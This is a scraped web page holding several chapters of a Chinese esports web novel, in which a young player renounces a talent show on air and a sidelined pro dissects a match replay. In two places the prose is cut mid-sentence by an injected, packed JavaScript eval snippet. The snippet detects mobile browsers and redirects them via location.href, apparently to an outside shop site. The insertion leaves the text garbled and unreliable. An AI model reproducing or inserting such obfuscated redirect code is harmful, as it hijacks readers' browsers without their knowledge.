而在这一片朦胧中,黑色的提词器上加粗地白色大字,却不知为何似乎格外清晰。 【因为喜欢唱跳,又恰好收到了节目组地邀请,所以……】 【这也是一个挑战自我地机会,我也想借助这个机会看到有关自己的更多可能……】 她分明只需要按照给出的提示循规蹈矩的念出这些句子,这一部分就能快速结束,但张嘴的时候,喉头干涩,再简单不过的几句话,竟一个字都说不出来。 方既亭眨了眨眼,一时有些迷茫。 “TING选手?”主持人见她在发呆,又试探性的叫了一声。 那一声云开雾散,方既亭忽然明白过来,清晰地不是那些字,而是自己脑海中地那个无比强烈地想法。 许是被否认被轻视后少年人不服输地冲动,又像是这些日子连续重压之下的爆发。 怔愣片刻,她轻轻咬了咬下唇,举起了话筒。 “我不喜欢唱跳。” 方既亭定定地看着那些白字,开口说道。 4. 祝福你 - “联赛主办方破产跑路,战队不得不解散,我们的冠军奖金到现在都还没发,所以没有钱赔战队的违约金,只能来参加这个节目。” “我不想做什么女团,等综艺录完了,我还是想回到职业赛场,继续打比赛。” [6666这是什么情况。] [妈呀,这是可以说的吗?] [所以她是被逼来参加这个节目的嘛,感觉很可怜啊……] [救命,什么玩意儿吓我一跳,什么比赛啊?哪个主办方?她是干嘛的?] [哈哈哈哈哈笑死我了主持人脸都黑了。] …… “好家伙,我真的直呼好家伙。” “哈哈哈哈这妹子也太可爱了。” 江止从经理办公室出来,手里还拿着方才许经理给的合同,刚到楼梯口,就听见楼下客厅里堪称放肆的谈笑声。 她下了楼梯,一眼就看到了跷着二郎腿坐在沙发上的人,MOOD战队前队长顾疆,现在虽然还没有退役,但也已经不再打比赛,只是参加一些战队的商业活动。战队现役精灵骑士小落坐在他身边,游僧天明则是坐在一旁的单人沙发上。而站在沙发后的那人,正是现在MOOD战队队长,医师Peace。 今天恰好是休息日,几个人直播之余凑在大厅里看电视也是寻常,但笑成这样…… “你们看什么呢,这么开心?”江止有些好奇,走过去,才发现教练苏行秋也在这里,只是他并没有和其他人坐在一起,而是抱臂站在院子旁的落地窗边。 黑色的长风衣沉得他本就挺直地身形越发修长,招牌的金边眼镜依旧像是焊在他脸上一样,戴的工工整整,但是此人本身却实在不如外表这般儒雅斯文。 见到江止走过来,苏行秋将目光从电视移到她的身上,微笑着冲她点了点头,而江止亦颔首回礼。 “呀,小径山来了,来坐呀。”顾疆笑着冲她挥了挥手,拍了拍自己另一侧大片的空位,“我们在看那个什么女团的选秀直播,这妹妹之前好像是个女队的,结果女赛停办,她被他们公司送来选秀了。” 【MOOD.径山】,是江止的职业ID。 “好惨。”小落叹了口气,“看着年纪挺小的,估计也是什么都不懂被当成捞钱的工具了。” “其实非要说的话,也不失为一个机会吧。”顾疆开口道,“毕竟咱们的这碗饭真没有那么好吃。” 江止听着他们你一言我一语,没有说话,她走到苏行秋身边,苏行秋的目光也自然而然的落到了她手中拿着的那一份合同上。 “签了?”他问。 “还没。”江止答。 “那就是还在犹豫。”苏行秋的声音平稳,听不出是什么态度,“是在担心什么?” “……” 江止抿了抿嘴,不知道要如何回答。 她已经有将近一年没有上过赛场了。 从万众瞩目的电竞新星到落魄失意的替补队员,只需要一次突如其来的,毫无预兆的意外。 江止做好了被喷的准备,毕竟那次失败自己确实有着不可推卸的责任。可那些谩骂和嘲讽比她想象的更加恶劣。营销号的通稿铺天盖地,直播间难听的弹幕多到举报不过来,最终只能暂时停播。 躲在互联网之后的键盘侠们带着狰狞的面具,在一轮轮性别导向地围剿之后,江止终于举手投降。 万箭齐发,远看只觉得壮观震撼,真正射到自己的身上,才真正明白什么叫痛不欲生。 谣言与舆论的双重重压之下,她的心态失衡,状态也越来越差,最终毫无意外的被替换下场,坐到了替补席,一坐就是一年。 MOOD这一年的成绩并不能称得上有多好,代替自己的驯鹰人是从二队提上来的原替补选手漠然。 她不是没有争取过,可替补与首发的训练方向有所不同,她需要同时练习驯鹰人,元素天赋者和游僧三个职业,主职空缺的部分,就只能依靠自己的在其他时间补回来,而所谓的其他时间,无非就是熬夜,熬夜,再熬夜。 日夜颠倒的作息又令她的身体与精神越发的变差。 赛训组说是有七名教练,实际上真正说了算的还是主教练苏行秋。 当初他一句话,她就能挤掉原本已经定了的漠然,成为驯鹰人的首发,如今他不松口,她就只能被死死摁在替补席,看着自己的队友一场一场的落败。 再这样下去,即便是熬到合约到期的那一天,没有成绩与荣誉傍身,离开了MOOD,她又还能有什么更好的去处? 江止投降了,屈服了,可她却还不想就这样离开这个行业,哪怕烦躁与焦虑几乎要将她淹没,精神与身体的双重折磨令她整个人濒临崩溃。 她不知道自己再不甘心什么,她只是不想走。 而后,一个月前的某一天,从不插手队员私事的战队经理许良,带着一份拟好了的合同,找到了她。 “江止,要不要来当战队的运营?”他问她,“虽然说挣得钱肯定是没有当职业选手来的多,但是胜在压力小。以目前MOOD的状况来说,也还是蛮稳定的,做的好的话也有机会往总部升。” “你是女孩子,心也细,这份工作蛮适合你的,可以好好考虑一下。” 女孩子。 江止在心里嗤笑了一声,随之而来地满腔地烦躁与悲凉。 这半年多她听过太多类似的话,以至于她开始抗拒和反感自己的性别。 如果她不是女孩,就不会有那次意外,如果没有那次意外,那这个行业是否会对自己稍微友好一些? 可她又忽然感到迷茫,也开始思考,是不是真的到了该离开地时候。 签下这份合同,她就不用再担心那些铺天盖地地骂声,也不用熬夜熬到头晕眼花。 反正苏行秋无论如何也不让自己上场,有这样一个机会,自己又何必非要和他死磕到底?人活一辈子,还不都是为了讨口饭吃? 可是…… 眼皮轻轻一跳,江止的目光自然而然就落到了不断变换着画面的电视屏幕上。 屏幕中的小姑娘看起来年纪还很小,圆圆地脸上稚气未脱,扎了个高马尾,绑了个蝴蝶结,又穿了一身方便跳舞地格裙。 她似乎是有些紧张。抓着话筒的双手有些轻微的颤抖,灯光将她额角的汗水照的亮晶晶地,微红地眼角却衬得那目光格外坚定。 “这种直播应该都是有彩排和提词器的吧,为什么会说出这种话?”Peace皱眉道,“这算直播事故了吧?” “确实。”顾疆点头,“不过这主持人业务能力也不行啊,处理突发状况的能力总要有吧?” 弹幕七嘴八舌的飘过,所有人都在等着看这场闹剧要如何收场,但年轻的主持人明显经验不足,一时竟有些支支吾吾,不知该如何继续。 “呃哈哈,看来TING选手真的是非常……呃热爱自己的事业,那么接下来我们请……啊,明月老师好像有话要说,那我们把话筒交给我们的明月老师。” 一名评委举手示意,主持人松了口气,连忙将话头递了过去。 “小姑娘,可以告诉我,是什么促使你今天在这个舞台上,义无反顾的要说出这番话吗?” 镜头给到主持人口中地那位明月老师,她看起来已经有五十多岁了。精致的妆容掩盖不住其脸上岁月的痕迹,而岁月的痕迹同样也遮不住她周身散发出的高雅傲人的气质。 江止并不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078977|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识她,但哪怕只是一句再简单不过的话,一个拿话筒的动作,一个欣赏的眼神,隔着屏幕,她依旧能感受到这位女性艺术家由内而外的强大与耀眼。 她无法挪开目光,情不自禁地想要听她继续往下说。 却只见那小姑娘一时卡壳,片刻的思考过后,才眨了眨眼。 “感觉没有想很多,只是觉得不想说违心的话,所以就说了。”她抬起手挠了挠头,表情变得有些尴尬,“而且如果就这样结束的话,感觉自己会很不甘心。” “很厉害。”明月说完,另一只手向她竖了一个大拇指,“小姑娘,今天你能站在这个台上说出这些话,我想说,你真的很棒。” “我们这是一个选秀的舞台,但我觉得你的出现给我们这个舞台赋予了更深更高的意义。舞台是死的,但台上的人是自由的,所有人都可以抓住这个机会尽情的表达自己。因为当我们向你发出邀请的时候,就默认我们已经给了你这个机会。但是……”她顿了顿,望向方既亭的眼中多了一丝审视,“你也需要承担这么做的后果。” 镜头一转,江止看见小姑娘盯着明月的眼睛,用力的点头。 江止微微皱眉。 头点的这么用力,是真懂了还是不懂装懂? “可以跟我们说说你的梦想,或者说目标么?” “我的目标……” 我的目标。 江止看着屏幕中的女孩,她看到女孩子眉心微拧,似乎是在仔细斟酌思考,而后在某一个瞬间,那双眼睛突然就亮了起来。 “我的目标只有一个,就是DOME职业联赛的最高处,是世界冠军!” [666666] [这是什么新的黑红套路吗,世界冠军你说拿就拿?] [撒花,撒花!] [永远年轻!永远相信梦想!!!!] [什么水准啊说这个话,先看看有没有战队要吧。] [纯招笑。] …… 白花花飘过的弹幕褒贬不一,江止看不清女孩的表情,那道明亮又清脆的声音却格外清晰。 紧随其后的几下掌声,孤独而突兀,简单却充满力量。 “那么,祝福你,方既亭。” 屏幕中的前辈放下手,送出她最后的祝福。 大厅里几乎已经炸了锅,难以置信地感叹与唏嘘另这个原本宽敞的空间显得有些拥挤。 “不是,她还真敢说啊?”天明惊讶出声。 “牛逼。”小落露出一副敬而远之的表情。 苏行秋的嘴角亦带了丝轻笑:“很有活力的小姑娘,你觉得呢?”他看向江止。 江止将目光收回来,没有接话。 “坏了,更可爱了。” 顾疆装模做样的捂住自己的心口,往后仰的时候恰好对上Peace想要嫌弃却又碍于自己是前辈不敢太过嫌弃的目光,忍不住哈哈笑了两声。 “开个玩笑,别那么认真嘛。” “不开玩笑,感觉明天这妹子估计要被挂到热搜群嘲了。”小落感叹了一句。 “真的吗?那太好了!电竞圈又要有新乐子了!”天明双手合十对天祈祷,“我满血被路人暗杀者单杀的事情终于可以翻篇了!Respect,向她致敬!” “这件事恐怕是翻不了。”一直沉默地苏行秋突然开口。 “什么意思?”天明愣了愣,转头看他,合起来的双手还放在胸口。 “TING,本名方既亭,之前是女队HGF的首发暗杀者,大号的游戏ID是AAA双刀批发方姐。”苏行秋举起手机,轻轻晃了晃,“很不幸,她就是那个满血单杀你的……” 他顿了顿。 “路人。” 5. 天生的指挥官 江止目光一变,还没来得及说什么,耳畔就传来几个人此起彼伏地震惊地呼声。 “什么?她就是那个单杀你的暗杀者?” “什么?你被人单杀了?” “什么?你一个游僧,被一个,暗杀者,满血,单!杀!了?!” “啧。”Peace还是没忍住,看向顾疆和小落,“你们两个是刚通网吗?这事儿发生了快一个月了。” “我最近都在忙着直播凑时长,没关注啊。”小落一面说,一面打开手机,“哪天的直播啊,我看看。” “613最后一场。”天明道。 “搜到了投个屏呗,我也看看。”顾疆冲小落摆了摆手,转而又望向天明语重心长道,“天明啊,这你顾哥可就要说你了,游僧被暗杀者单杀也太丢人了,何况还是个路人。你这传出去丢的不仅是MOOD的脸,更是咱们金牌教练Autumn的脸啊!” 他抑扬顿挫地说完,恶作剧一般地看了苏行秋一眼。 苏行秋早就习惯了他这副傻样,并没有搭理他。 “我……唉……我一不小心给她接上连斩了,那个时候太晚了也确实有点不太清醒。”天明有些懊恼地挠了挠头,“我没想到她能连十二下,再说我也……我也不是满血,我只剩下八十血了。” 他的声音也越说越小,很明显说到后面,自己也有些心虚。 “十二下?”顾疆愣了愣,“那确实还不赖的啊。” “所以你是被活活刮死的。”Peace适时地补了一句。 “欧!听起来更可怜了。”顾疆道。 “队长,你给我留点面子吧!”天明捂着脸摇了摇头。 正说着,大门被推开,来人正是现在MOOD战队首发驯鹰人漠然。小落正好将自己的手机连上电视,抬头冲他挥了挥手。 “漠然哥。”他开口道,“我们正准备看天明直播被路人暗杀者妹子单杀那场的回放,一起来吗?” “也不用说得这么具体吧……”天明小声嘀咕了一句,也跟着小落喊了一声“哥”。 “好啊。”漠然温和地笑着向顾疆和Peace打招呼,往这边走过来,“看来我回来得正好。” 门口的视野被楼梯挡了大半,他一直走到沙发边,才见到站在落地窗边的苏行秋和他身旁的江止。 年轻的教练悠悠然看向这边,漠然地笑容僵了僵,他似乎有些不敢与苏行秋对视,目光下意识地闪躲,却恰好落在江止手中的合同上,眼睛忽然一亮,似乎是有些意外。 “小止是准备要转去当运营了么?”他看向江止,“很不错的工作啊,恭喜你!” “谢谢。”江止道,“但我还没决定。” “机会难得,这合同多少人都羡慕不来呢,你可千万别错过了。”漠然继续说,“要不是……” “漠然,人家以后要做什么人家自己心里有数,你就别瞎操心了。”顾疆忽然开口将他打断,又指了指另一侧空着的单人沙发,“快坐下,一起看天明出丑。” “呃……”漠然讪笑了两声,“顾哥说的是,我这也是关心小止嘛。” 他闭了嘴,走到另一侧的沙发坐下,小落已经点下了开始播放按键。 游僧这一职业以力量与坦度为主,个人视野十分有限,在战斗中非常依赖队友的信号报点。而在青崖关这张地图,守方的游僧一般情况下都不会离开旗帜太远,方便随时支援。 游戏的开局打得中规中矩,唯一的变数是五分钟不到,就传来了暗杀者被击杀的通告。 “什么情况?”顾疆愣了愣。 “她前期在挂机。”天明解释道,“听说是睡着了,因为在直播,所以就被发现了。” “好家伙,直播睡觉,高分挂机,单杀职业选手,公开爆战队黑料。”顾疆掰着手指数了数,“火力全开啊。” “年纪不大,战绩可查。”Peace评价了一句。 “精辟。”顾疆十分欣赏地看了他一眼。 谈笑间,屏幕中的游僧已经有了动作,在暗杀者被击杀之后,守方队内很快就达成一致转变了战术,不再执着于守旗,而是全员主动出击,想要尽快将攻方消灭。 人数占优时,这也是惯常的策略。 时间进行到第十分钟。 依靠队友给出的视野,天明很快击杀了敌方的元素天赋者,又在一面旗子旁,逮到了西箭塔下正准备毁旗的敌方游僧。 这边游僧内战,天明占优。另一边小地图可见,天明的机械师队友与敌方精灵骑士缠斗,医师随后赶到,两人协力一起将机械师击杀。 然而,毁旗带来的地图坍塌将医师与精灵骑士逼往天明所在的方向,三人撞了个正着。 十三分钟,天明击杀精灵骑士拿下本局第三个人头。 至此,守方剩余元素天赋者,游僧,狙击手三人,而攻方只剩一名逃跑的医师。 “好奇怪啊。”小落忍不住开口,“这个69岁柱杖庸医,刚刚那波明明就在自家元素天赋者旁边,这个点她根本不可能缺药,为什么不帮元素天赋者加血,反而跑那么远过去帮精灵骑士呢?” “她这么打,两个队友一个都没保住啊?” “她想优先击杀机械师吧。”Peace开口道,“天明这边的机械师是侦察流机械师,青崖关这张图没有什么机关暗道,毁掉两面旗的情况下,二十分钟后侦查小机器人的视野应该已经可以覆盖全图了。如果机械师不死,就算医师和游僧都活着,也根本没有操作的空间吧。” “喔!”小落一拍脑袋,“难怪你这局后面进度条还有一大半啊!” “嗯。”天明想起当时的情况似乎还是有些汗颜,“当时我们还剩三个人,狙击手尽量不挪动,我和元素天赋者本来是想着赶紧将她击杀结束比赛,没想到不仅没抓到她,还差点被她偷了拱桥下面的旗。再之后就变成元素天赋者守在拱桥下,我一个人去找她……” “结果不仅差点西箭塔下面的旗没了,狙击手都差点被她偷掉。”Peace开口接了他的话。 “是这样。”天明有些无奈的叹了口气,“因为机械师死了,开不了视野,所以最后我也不敢乱动,就守在西箭塔下了。” “好家伙,原来这样。”小落眼睛亮了亮,有些兴奋道,“好厉害啊,一般人都是就近帮忙很难想到后续这么远吧?所以她后面是准备一次一次慢慢把旗的血磨掉是吗,反正只要她不死你们就赢不了哇。” “嗯。”天明点了点头,“她的操作和手法都很不错,后面那波瞬换也很漂亮,主要是意识和对局势的判断实在不像是普通路人,我一开始以为是谁的小号,但她后来开麦说话,是个女的。” “女的?”顾疆愣了愣,下意识转头看了眼苏行秋,“现役职业选手里,不管是一线还是二线,应该没有女医师吧?” 苏行秋微微颔首,表示默认。 “该不会是谁家藏着的新人吧。”Peace道。 “有可能……”小落若有所思的点点头,“那咱们提前研究研究?别到时候突然抬上来打我们个措手不及那可就糟了。” “但如果是医师的话,也不用那么紧张吧。” 时间进行到第二十分钟,医师在空中使用瞬间释放的换生技能将暗杀者换起,一直没有插话的漠然在此时开了口。 “这些意识和操作放在普通路人身上确实亮眼,但是放到职业选手身上也并不是什么值得吹嘘的东西。” “更何况医师单人影响不了战局,在她最 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越到后期,双方手中的筹码越少,对资源的估算就越是关键。 驯鹰人,兼具视野,爆发,攻速,生命,防御,敏捷六个属性,虽然各自都并不突出,却是游戏内唯一一个六属性均衡的职业,相对简单的操作,令玩家能分出一些注意力来统揽大局,每一位驯鹰人都是最天生的指挥官。 可即便如此,也没有人能保证每次都能算得一分不差。 顾疆虽然是元素天赋者,但是作为前MOOD战队队长,打过那么多场比赛自然不可能不会算这个,漠然知道他这么问是出于试探与考验,于是他也并没有多想,开口解释道: “最开始暗杀者挂机的时候用了两次,之后她和精灵骑士二对一的时候精灵骑士的血条有过三次大跳,再加上偷西箭塔的旗,被狙击手击中的时候应该是没有来得及套盾的,这里也消耗一个,回头遇到游僧,战斗过程中血条的情况应该是用过两次,后面试探磨血的时候用了四次,再结合游僧视角毁掉的大小药和护盾数量,使用换生的时候她包里最多也只剩下一个大药。” 他顿了顿,又补了一句:“这还是在她把其他所有大药都捡齐了的情况下。” “喔……” 小落若有所思的点点头,他的职业是精灵骑士,与游僧一样,都是典型需要专注于自身操作的职业,对于资源的计算能力稍弱,漠然一番分析下来,听的有些云里雾里,下意识转头望向队长Peace。 而Peace也没有说话,他对漠然的说法并没有异,却似乎对这之后突如其来的冷场有些疑惑。 顾疆背靠在沙发上等了一会儿,而后似乎是有些无奈的深吸了口气,坐直了身子正要开口,却被人抢了先。 “我觉得不对。” 一语出,所有人的目光都一下子集中到了站在窗边的江止身上。 顾疆目光动了动,又懒散地靠回了沙发。 “哪儿不对?”漠然眯了眯眼。 “如果你要假设她捡齐了所有剩下的大药,那么在用完换生之后,我觉得她应该还至少有两个在包里。”江止迎上漠然的目光,声音平稳而认真。 “两个?还是至少?”小落忍不住惊讶出声。 Peace与天明的眼中同时掠过一丝诧异。 “我刚刚解释的很清楚了,每一波都是必须要用大药才能急救地情况,你口中那至少两个,是从哪儿省出来的?”比之方才,漠然的声音冷了些许。 江止并不在意他所表达出的不满,她上前两步,走到沙发后,与Peace并肩站在沙发后。 “小落,麻烦你,把进度条重新拉到最开始。” “四分二十一秒。” 6. 小核弹 “四分二十一秒,我方元素天赋者找到敌方暗杀者,两次大的血量变动分别为百分之三十八和百分之四十。” “在暗杀者完全挂机的情况下,同样使用大药,不应该出现这百分之二的差异。” “欸?”小落仔细盯着暗杀者的血条,将进度条来回拉了两次,“还真是!好厉害啊江止姐,这种细节都能关注的到!这种录屏第一次看不都应该盯着主视角的吗?” “习惯而已。”江止道。 “所以这其中,应该有一次不是大药的回血。”Peace若有所思地接了一句。 “嗯。”江止点了点头,“我看不到医师视角,具体情况不太好判断,但根据这两次大加前的掉血情况来看,我猜测,或许一次是使用的大药,另一次是给到了护盾加小药。” 玩家在拥有护盾的情况下使用药物,回血量会比正常使用更高。 “但具体能不能达到和大药的效果持平,这个可能需要问一下队长。”江止看向Peace。 “如果这个医师十二点治疗加满,暗杀者那边的生命加点比较少的话,确实有可能达到这个效果。”Peace开口,“我觉得这里小止说的更合理一些。” 除了职业的固定属性外,每名玩家在进入游戏之后都会拥有十二点自定义属性点,由玩家自己根据习惯、地图以及对手配置来决定加在哪些属性上。 “……”漠然抿了抿嘴,脸色变得有些难看。 “江止姐,还有一个地方是哪里?”小落没有注意到漠然的尴尬,只是迫不及待地又问了一句。 “十分五十九秒。”江止再次将目光投向屏幕。 小落将进度条一拉,这个节点,正是游僧内战,己方机械师与敌方精灵骑士、医师一对二。 从天明地视角看不到医师的情况,但正如漠然所说,精灵骑士的血条有过三次大跳。 “这三次的加血量也是不一样么?”小落一面来回观察,一面开口问。 “但是这里精灵骑士没有在挂机,大药的治疗量受到许多别的因素的影响,加血量有差距很正常吧?”漠然的语速听起来有些快,江止接二连三的否认似乎令他有些焦躁,迫不及待的想要证明自己。 而江止此时却越发显得冷静。 “是的。”她点了点头,“但我想说的是,以医师的移动速度,这个距离,在精灵骑士第一次血条变化的时候,她应该来不及赶到那里。” 一语出,屋中众人,出了顾疆与苏行秋外,皆是一愣。 “喔!”小落如梦初醒。 Peace弯腰从小落手里将手机拿过来,拉动进度条又再次比对了一下距离。 “好像确实来不及。”他开口,声音里多了一丝不可思议的钦佩,“厉害啊,小止。” “那如果是这样的话,第一次就应该是精灵骑士自己的回复技能了。”小落兴奋道,“江止姐,你这么厉害,以前怎么都不怎么见你开口啊!” “是啊。”天明同样惊讶,“我自己打得时候还真没发现有这么多细节。” 小落和天明都是今年才被选进一队的选手,他们二人加入MOOD的时候,江止已经因为状态下滑坐了半年的替补。 尽管训练时也会有配合,但她大多数时候都比较沉默,只是听命行事,不怎么发表自己的观点。 “那是你们没见过你们江止姐刚来MOOD的时候,一个人舌战Autumn教练,那气势,啧啧啧,我看着都害怕。” 顾疆在一旁添油加醋,江止捂着眼睛连连摆手。 “顾哥你别再说了,那次我真的是被怼的哑口无言心服口服,现在想想太丢人了。”她开口道,“这次我也只是恰好注意到了,毕竟我的主职是驯鹰人,天明和小落都是注重操作的职业,没有留意也很正常。更何况这些都只是我的推断,证实不了,也不一定准确。” “那为什么是至少?”一旁始终沉默着的苏行秋忽然开口问了一句。 江止几乎是立刻就放下了手,站直了身子,转头有些紧张地正色望向后方。 “我说出来的这两处只是我可以肯定的细节,根据第一波的情况,我认为这位医师玩家应该是有省大药的习惯,如果从职业的角度分析,那就是她会用视野造成的信息查来欺骗对手,那就不排除在其他时候她也会这么做。” “所以如果要假设她捡齐了剩下所有的大药,那么在使用换生的时候,就应该是至少有两个,可能还会有更多。” “喔!”小落连连点头,“原来这样,有道理啊!” 苏行秋颔首默认,微微抬高的唇角显示出他对这个回答的满意。 江止在心里松了口气。 顾疆哈哈笑了两声,轻轻拍了拍漠然的肩膀:“漠然,看来这次是你输了一点啊。” “……是。”漠然的脸色有些难看,但碍于这么多人面前,他也只能强行扯出一个有些尴尬的笑,“是我技不如人了。” “没有没有,我也只是复盘的时候能定定心心的看才看得出来,真到了实战中,还需要漠然哥多多指点。” 江止声音温和,一句话令漠然的表情缓和了许多。 “真正深藏不露的应该是这位医师才是。” “是啊……”Peace忍不住感叹,“手法和意识看起来都很成熟,不太像是新人啊。” “还新人?这怕不是谁家藏着的核弹想要一下子把我们都炸死吧?”顾疆说着,又像是想到了什么,“哦,是把你们都炸死。” “会不会是别的赛区的选手借号玩的国服?”天明问。 “你打这把的那个时间点确实有这个可能。”Peace道。 “那也是打进世界赛之后的事了。”顾疆站起身,拍了拍被坐的有些皱的衣服,“事已至此,先吃饭吧。” 虽说是休息日,实际休息时间却也只有一个下午,吃过饭后,大家还是会自发聚在训练室训练,为即将到来的季后赛做准备。 关了电视,几人一个接着一个往食堂走去,江止似乎还有些话想要和苏行秋单独说,却被小落热情的一起拉走。 待所有人都出了门,顾疆才握着手机走到苏行秋面前,轻轻撞了撞他的肩膀。 “欸,感觉小止今天忽然就活过来了啊?”他半开玩笑道,“你可得好好谢谢小朋友,要不是她那自爆式的豪言壮语,你好不容易挑中的宝贝可就真要被你摁死在半山腰了。” “话不要说的那么难听,我只是不喜欢在废物身上浪费时间。”苏行秋看着江止离开的方向,眼中满是欣赏,心情肉眼可见的好,“当年你不也是这么过来的,也没见你被我摁死在山脚下不是么?” “那我当年确实也只剩下一口气了。”顾疆嘀咕了一句。 “是吗?”苏行秋笑了笑,并不在意顾疆语气中的抱怨,“那确实要谢谢暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078979|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀者小朋友了,当年那个也一并谢了。” “当年那个就算了吧。”顾疆道,“现在这个,改天Autumn教练倒是可以亲自请来俱乐部喝杯咖啡。” “喝咖啡就不必了,MOOD还不缺暗杀者。”苏行秋抬手,指了指顾疆的手机,“你现在停下准备给她投票的手就是对她最好的报答了。” “嘶。”顾疆愣了愣,而后下意识将手机往怀里藏了藏,“这你都能猜得到?” “我是你肚子里的蛔虫,当然知道你要做什么。” 苏行秋说完这话,自己先笑了两声,而后转过身,头也不回的离开了客厅。 “心情这么好?”顾疆看着他离开地背影嗤笑了一声,而后又低下头,手机屏幕依旧停留在那个投票的界面。 “唉,虽说哥不是什么好人,但救人一命胜造七级浮屠啊!” 他感叹了一声,而后将自己所有的十张票全部投给了方既亭旁边,那个他根本叫不出名字的姑娘。 投完后,又煞有其事的看着方既亭的头像问了一句:“你该不会也是颗小核弹吧?” 说完,像是被自己逗乐了一般,顾疆轻笑了一声,将手机揣回兜里,哼着小曲,漫不经心地离开了客厅。 - 方既亭直播爆料纯属脑子一热,然而事态的发展却着实有些出乎她的预料。 此次直播的“事故”给这挡选秀综艺带来了本不该属于它的热度,而投票的结果也在预料之中。就着明月老师说的那番话,节目组顺坡下驴,大做文章,主动发文送别方既亭,并且以“梦想”与“勇气”作为命题进行炒作,又赚一波口碑。 恰好方既亭的合同也到了期,节目的观众与她本人的粉丝抱团欢呼,一团和气的给她送上美好的祝福。 一系列操作下来,竟是皆大欢喜,只有苏晴看得目瞪口呆。 “这是什么神展开?”她看着手机上一条接着一条蹦出来的评论,还是有些不敢相信自己的眼睛,“你当时说那个话,我都觉得你肯定要被网暴了。” “嘿嘿。” 首轮被淘汰地选手将搬离宿舍,方既亭将最后一件衣服叠好,塞进箱子里,抬起头咧着嘴笑了笑,“还是苏晴姐教的好。” “我教你什么了?”苏晴不解。 “你说我可以自己做决定,经理的话就当放屁。”方既亭道。 “?”苏晴大惊,“我那句话的意思是你可以在参加完这个综艺之后继续努力,不是让你直播的时候公开发表暴论好吗?” “这样吗?”方既亭似乎也有些懵,却很快又恢复了正色,“管他呢,反正现在大家都很开心,我被淘汰了,苏晴姐也留下来了,说明我们运气都很好呀。” “你还傻乐呢?娱乐归娱乐,你现在在电竞圈成笑话了知不知道?”苏晴看着方既亭一副单纯无害的模样,实在是忍不住担心,抬手敲了敲方既亭的额头。 “哎哟,苏晴姐,你轻点。”方既亭抬起手捂住自己的脑袋,“笑话就笑话呗,我还能继续打比赛就好了。” “打比赛?”苏晴看着她一脸单纯的模样有些无奈的叹了口气,“你心是真大啊,直播说这种话,表面上是风平浪静,背地里谁还敢要你这种刺头?” “没有呀。”方既亭开心地眨了眨眼,掏出手机,得意洋洋地伸到苏晴面前晃了晃,“你看,《DOME新星大赛》的邀请函,我昨天刚收到的。” 7. 伊始 “什么?”苏晴又是一愣,“你之前投简历不是没有收到回复吗?怎么又忽然给你发邀请?该不会是什么新型诈骗吧?” 她从方既亭手中将手机拿过来,将信将疑的点开那封“嫌疑”邮件。 [穹顶之下的公民您好,DOME职业联盟邀请您参加《DOME新星大赛》项目选拔。您可以在7月5日18:00前使用绑定该邮箱的账号在零区进行注册,完成游戏内人脸认证,参加冲榜赛,并查看自己在该职业分组中的实时排名。] 邮件很长,再往下是一些项目相关的流程、细节与注意事项,而邮件的最后,是一句祝福,与DOME游戏的官方标识。 [年轻的勇士,祝您武运昌隆。 愿穹顶之下,人类文明生生不息。] “好家伙,还真是官方的邮件。”苏晴忍不住感叹,“你这是什么运气啊?” “嘻嘻。”方既亭将手机拿回来,提着行李箱站起身,笑道,“肯定是上天被我这大半年的努力感动了,所以特地保佑我呢。” 两人有说有笑走向停在路边的大巴,将箱子放进车厢,很快就到了要发车的时候。 “看来姐也只能送你到这里了。”苏晴向催促的司机比了一个抱歉地手势,而后张开双臂,方既亭蹦起来,用力抱住了她。 拥抱的时间不长,触感转瞬即逝。 夏日午后阳光刺眼,方既亭松开手,看着苏晴的眼睛露出一个笑来。树荫下,那笑比阳光更加灿烂。 “姐,那我走啦!”她后退一步上了车,站在车阶上又冲苏晴挥了挥手,“你要加油啊!要好好学跳舞,还有,吸烟不好,我不在的时候你也要管住自己哦!我会给你投票的!” “行行行,快走吧你。”苏晴知道她是在打趣自己,连连摆手。 方既亭又笑了笑,转身跑上了车,车门关上,苏晴站在车边,看着小姑娘找了个靠窗的位置坐下,隔着车窗又冲自己挥手。 大巴车缓缓启动,苏晴目送那车子消失在转角,目光收回来的时候,眼前原本还拥挤嘈杂的道路一下子变得空旷而安静。 热闹消散,寂寞越发明显,苏晴习惯性的叹了口气,伸手进口袋,摸到那被绞得有些皱瘪的烟盒。 “臭丫头,管那么宽。”她轻笑了笑,又再次看向大巴离开的方向,目光中多了一丝惆怅与欣慰。 “加油啊,方既亭小朋友。” 喃喃低语消散在燥热的风里,苏晴又站了一会儿才转身离开。 路过垃圾桶的时候,她掏出口袋里的烟盒,顺手丢了进去。 - 《DOME穹顶之下》——目前全球范围内最为火爆的一款大型网络游戏。游戏以末日为背景,千百年后的地球污染与辐射日益严重,人类只能打造出一个坚固的穹顶寻求庇护。 穹顶之下的人们看不到蓝天白云,繁星明月。技术可以模拟出的春夏秋冬,却掩盖不主终日阴沉满是灰雾的天空。 慢慢地,最初经历过灾难的那些人们都慢慢老去,他们中的大多数死于病痛,也有一小部分得以寿终正寝。 当旧世界的最后一片老叶终于掉落,穹顶之下再也没有人亲眼见过曾经的地球到底是什么样子。大家只能通过书籍上留下的照片来追忆过去的一切,但实际上,人类从来没有放弃过探索穹顶之外的世界,而探索的前提,是做好十足的准备。 